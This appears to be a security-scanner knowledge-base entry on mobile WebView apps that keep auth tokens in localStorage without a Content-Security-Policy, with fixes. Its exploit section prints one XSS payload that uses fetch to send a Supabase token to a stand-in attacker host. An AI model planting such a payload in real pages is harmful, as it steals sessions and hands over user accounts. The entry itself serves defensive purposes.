high · M4 · MASVS-PLATFORM-2 · PTKD-WEBVIEW-TOKEN-NO-CSP

    Login session in WebView storage with no Content-Security-Policy

    This Capacitor / Cordova app keeps the login session (access and refresh token) in the WebView's localStorage, and its index.html sets no Content-Security-Policy. Any script that gets into the page, through a cross-site scripting bug in user content or a compromised third-party script, can read localStorage and send the token to an attacker, who can then sign in as the user.

    How it is exploited

    A Lovable app wrapped with Capacitor shows user comments with dangerouslySetInnerHTML. Someone posts `<img src=x onerror="fetch('https://evil.example/?t='+localStorage.getItem('sb-abc-auth-token'))">`. Every user who opens the comment sends their Supabase refresh token to the attacker, who signs in as them. A CSP without 'unsafe-inline' and with a narrow connect-src would block both the inline handler and the request.

    Why it matters

    Account takeover of every user who loads the injected content.

    How to fix it

    1. Add `<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; connect-src 'self' https://<project>.supabase.co; img-src 'self' data: https:">` to index.html and remove inline scripts.
    2. Give supabase-js a secure storage adapter (auth: { storage: <Capacitor secure-storage adapter> }) instead of localStorage.
    3. Render user content as text, never as HTML.

    Does your app have this?

    PTKD checks your build or your source project for PTKD-WEBVIEW-TOKEN-NO-CSP and every other check in this knowledge base.

    Scan your app

    References

    Related checks (M4)